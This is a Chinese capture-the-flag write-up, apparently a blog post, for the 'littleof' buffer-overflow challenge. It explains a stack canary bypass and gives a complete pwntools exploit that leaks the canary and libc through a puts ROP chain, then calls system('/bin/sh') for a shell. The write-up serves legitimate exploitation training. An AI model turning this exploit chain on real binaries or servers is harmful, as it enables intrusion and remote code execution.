littleof ——攻防世界

37 篇文章 0 订阅
37 篇文章 3 订阅

分析

在这里插入图片描述
发现开启了canary,并且栈不可执行,并且是动态编译,进入IDA进行分析

# main函数
__int64 __fastcall main(int a1, char **a2, char **a3){
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_4006E2();
  return 0LL;
}
// sub_4006E2 函数
unsigned __int64 sub_4006E2(){
  char buf[8]; // [rsp+10h] [rbp-50h] BYREF
  FILE *v2; // [rsp+18h] [rbp-48h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  v2 = stdin;
  puts("Do you know how to do buffer overflow?");
  read(0, buf, 0x100uLL);
  printf("%s. Try harder!", buf);
  read(0, buf, 0x100uLL);
  puts("I hope you win");
  return __readfsqword(0x28u) ^ v3;
}

发现溢出点还是挺多的,但开启了canary,因此本题主要是绕过canary

题解

canary绕过

canary其实就是在ebp之上设置了一块8字节内存,该字节不准改变,每次函数执行都会对canary进行校验,一旦发现被改变就会强行退出,因此普通的溢出失效,如图,一般canary最后两位为0
在这里插入图片描述
解决思路: 若能获取canary的值,溢出时将canary还原即可

# canary绕过
# encoding=utf-8
from pwn import *
context.log_level = True
context(os='linux', arch='amd64')
fpath = '/home/kali/Desktop/pycahrm_project/功防世界/littleof/littleof'
r = process(fpath)
# r = remote("182.116.62.85", 27056)
elf = ELF(fpath)
libc = elf.libc
payload = b'a' * (0x50 - 8) # 0x50-8是正好填充到canary为止
r.sendlineafter("Do you know how to do buffer overflow?", payload)
# 泄露canary
r.recvuntil(payload) # 该程序会将输入的字符串打印出来,因此先接受一下
canary = u64(r.recv(8)) - 0x0a  # 0x0a为换行符
# 这里减去0x0a[换行] 是因为canary最后两位为0,有时候常用canary = u64(io.recv(7).rjust(8, '\x00'))
log.debug("Canary: " + hex(canary))
# 泄露ebp地址
init_addr = u64(r.recv(8).ljust(8, b'\0'))
log.debug("init_addr:" + hex(init_addr))

泄露libc地址

因为最后想用system(“/bin/sh”),而程序没有system和/bin/sh,因此要用libc里的数据

poprdi_addr = 0x400863
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400600
payload = b'a' * (0x50 - 8) + p64(canary) + p64(0) + p64(poprdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Try harder!", payload)
r.recvuntil("I hope you win\n")
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00。
# u64是用来解包的,将整形转为字符型,也就是说里面接收的应该是字节流
# l.just(8,'\x00')指取8个字节,不够的用\x00,即0来填充
# p.recvuntil('\x7f')[-6:] \x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的
print("puts_addr:" + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base:" + hex(libc_base))

找到system函数和/bin/sh

sysoffset = libc.symbols['system']
sys_addr = sysoffset + libc_base
print("sys_addr:" + hex(sys_addr))
sh_offset = next(libc.search(b"/bin/sh\0"))
sh_addr = sh_offset + libc_base
print("sh_addr:" + hex(sh_addr))

构造提权攻击payload

ret_addr = poprdi_addr + 1
payload = b'a' * (0x50 - 8) + p64(canary) + p64(0) + p64(poprdi_addr) + p64(sh_addr) + p64(ret_addr) + p64(sys_addr)
r.sendline(payload)
r.interactive()

完整代码

# encoding=utf-8
from pwn import *
context.log_level = True
context(os='linux', arch='amd64')
fpath = '/home/kali/Desktop/pycahrm_project/功防世界/littleof/littleof'
r = process(fpath)
# r = remote("182.116.62.85", 27056)
elf = ELF(fpath)
libc = elf.libc
payload = b'a' * (0x50 - 8)
r.sendlineafter("Do you know how to do buffer overflow?", payload)
# 泄露canary
r.recvuntil(payload)
canary = u64(r.recv(8)) - 0x0a # 这里减去0x0a[换行] 是因为canary最后两位为0,有时候常用canary = u64(io.recv(7).rjust(8, '\x00'))
log.debug("Canary: " + hex(canary))

init_addr = u64(r.recv(8).ljust(8, b'\0'))
log.debug("init_addr:" + hex(init_addr))

poprdi_addr = 0x400863
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400600
payload = b'a' * (0x50 - 8) + p64(canary) + p64(0) + p64(poprdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Try harder!", payload)
r.recvuntil("I hope you win\n")
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00。
# u64是用来解包的,将整形转为字符型,也就是说里面接收的应该是字节流
# l.just(8,'\x00')指取8个字节,不够的用\x00,即0来填充
# p.recvuntil('\x7f')[-6:] \x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的
print("puts_addr:" + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base:" + hex(libc_base))

sysoffset = libc.symbols['system']
sys_addr = sysoffset + libc_base
print("sys_addr:" + hex(sys_addr))
sh_offset = next(libc.search(b"/bin/sh\0"))
sh_addr = sh_offset + libc_base
print("sh_addr:" + hex(sh_addr))

r.sendlineafter("Do you know how to do buffer overflow?", "aa")
ret_addr = poprdi_addr + 1
payload = b'a' * (0x50 - 8) + p64(canary) + p64(0) + p64(poprdi_addr) + p64(sh_addr) + p64(ret_addr) + p64(sys_addr)
r.sendline(payload)
r.interactive()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值